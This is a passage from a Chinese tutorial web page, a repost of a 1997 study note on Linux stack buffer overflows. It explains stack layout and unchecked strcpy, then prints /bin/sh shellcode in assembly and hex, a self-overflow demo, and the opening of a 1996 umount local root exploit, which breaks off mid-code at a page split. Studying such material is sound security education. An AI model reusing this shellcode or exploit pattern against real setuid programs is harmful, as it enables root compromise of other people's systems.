|
|
|
Linux缓冲区溢出 |
热 ★★★★ |
|
Linux缓冲区溢出 |
|
作者:闵涛 文章来源:闵涛的学习笔记 点击数:1445 更新时间:2009/4/22 23:07:31 |
|
本文内容仅用于教育目的。作者不保证内容的正确性。任何情况下,作者不 为由于使用文中内容而引起的任何破坏或问题负责。使用本文内容的风险由使用 者自己承担。
计算机应用工作室1997年版权所有
########################################## 缓冲区溢出(buffer overflow)机理分析 ##########################################
Only 1997.7.19 Only.bbs@bbs.sjtu.edu.cn
1.什么是缓冲区溢出? ~~~~~~~~~~~~~~~~~~~ buffer overflow,buffer overrun,smash the stack,trash the stack, scribble the stack, mangle the stack,spam,alias bug,fandango on core, memory leak,precedence lossage,overrun screw...指的是一种系统攻击的手 段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程 序的堆栈,使程序转而执行其它指令,以达到攻击的目的。据统计,通过缓冲区 溢出进行的攻击占所有系统攻击总数的80%以上。 造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程 序:
example1.c ---------------------------------------------------------------------- void function(char *str) { char buffer[16];
strcpy(buffer,str); } ----------------------------------------------------------------------
上面的strcpy()将直接吧str中的内容copy到buffer中。这样只要str的长度 大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的 标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的 getc(),fgetc(),getchar()等。 当然,随便往缓冲区中填东西造成它溢出一般只会出现Segmentation fault 错误,而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行 一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限 的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。 请注意,如果没有特别说明,下面的内容都假设用户使用的平台为基于Intel x86 CPU的Linux系统。对其它平台来说,本文的概念同样适用,但程序要做相应 修改。
2.制造缓冲区溢出 ~~~~~~~~~~~~~~~~ 一个程序在内存中通常分为程序段,数据端和堆栈三部分。程序段里放着程 序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈 来存放。在内存中,它们的位置是:
+------------------+ 内存低端 | 程序段 | |------------------| | 数据段 | |------------------| | 堆栈 | +------------------+ 内存高端
当程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后 保存指令寄存器(IP)中的内容做为返回地址(RET);第三个放入堆栈的是基址寄 存器(FP);然后把当前的栈指针(SP)拷贝到FP,做为新的基地址;最后为本地变 量留出一定空间,把SP减去适当的数值。以下面程序为例:
example2.c ---------------------------------------------------------------------- void function(char *str) { char buffer[16];
strcpy(buffer,str); }
void main() { char large_string[256]; int i;
for( i = 0; i < 255; i++) large_string[i] = ''''A'''';
function(large_string); } ----------------------------------------------------------------------
当调用函数function()时,堆栈如下:
低内存端 buffer sfp ret *str 高内存端 <------ [ ][ ][ ][ ] 栈顶 栈底
不用说,程序执行的结果是"Segmentation fault (core dumped)"或类似的 出错信息。因为从buffer开始的256个字节都将被*str的内容''''A''''覆盖,包括sfp, ret,甚至*str。''''A''''的十六进值为0x41,所以函数的返回地址变成了0x41414141, 这超出了程序的地址空间,所以出现段错误。
3.通过缓冲区溢出获得用户SHELL ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 如果在溢出的缓冲区中写入我们想执行的代码,再覆盖返回地址(ret)的内 容,使它指向缓冲区的开头,就可以达到运行其它指令的目的。
低内存端 buffer sfp ret *str 高内存端 <------ [ ][ ][ ][ ] 栈顶 ^ | 栈底 |________________________|
通常,我们想运行的是一个用户shell。下面是一段写得很漂亮的shell代码
example3.c ---------------------------------------------------------------------- void main() { __asm__(" jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/sh\" # 8 bytes # 46 bytes total "); } ----------------------------------------------------------------------
将上面的程序用机器码表示即可得到下面的十六进制shell代码字符串。
example4.c ---------------------------------------------------------------------- char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i];
strcpy(buffer,large_string); } ----------------------------------------------------------------------
这个程序所做的是,在large_string中填入buffer的地址,并把shell代码 放到large_string的前面部分。然后将large_string拷贝到buffer中,造成它溢 出,使返回地址变为buffer,而buffer的内容为shell代码。这样当程序试从 strcpy()中返回时,就会转而执行shell。
4.利用缓冲区溢出进行的系统攻击 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 如果已知某个程序有缓冲区溢出的缺陷,如何知道缓冲区的地址,在那儿放 入shell代码呢?由于每个程序的堆栈起始地址是固定的,所以理论上可以通过 反复重试缓冲区相对于堆栈起始位置的距离来得到。但这样的盲目猜测可能要进 行数百上千次,实际上是不现实的。解决的办法是利用空指令NOP。在shell代码 前面放一长串的NOP,返回地址可以指向这一串NOP中任一位置,执行完NOP指令 后程序将激活shell进程。这样就大大增加了猜中的可能性。
低内存端 buffer sfp ret *str 高内存端 <------ [NNNNNNNSSSSSSSSSSSSSSSSS][ ][ ][ ] 栈顶 ^ | 栈底 |_______________________________|
图中,N代表NOP,S代表shell。下面是一个缓冲区溢出攻击的实例,它利用 了系统程序mount的漏洞:
example5.c ---------------------------------------------------------------------- /* Mount Exploit for Linux, Jul 30 1996
Discovered and Coded by Bloodmask & Vio Covin Security 1996 */
#include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/stat.h>
#define PATH_MOUNT "/bin/umount" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50
u_long get_esp() { __asm__("movl %esp, %eax");
}
main(int argc, char **argv) { u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL;
int i; int ofs = DEFAULT_OFFSET;
buff = malloc(4096); if(!buff) { printf("can''''t allocate memory\n"); exit(0); } ptr = buff;
/* fill start of buffer with nops */
[1] [2] 下一页 没有相关教程
|
|
教程录入:mintao 责任编辑:mintao |
|
|
上一篇教程: 理解 Linux 配置文件 下一篇教程: linux下开发共享库的注意事项 |
|
|
【字体:小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |
|
注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网] |
网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!) |
|
|
|
|
|
|
|
同类栏目 |
|
|
赞助链接 |
|
|
500 - 内部服务器错误。
|
|
|
|
|
|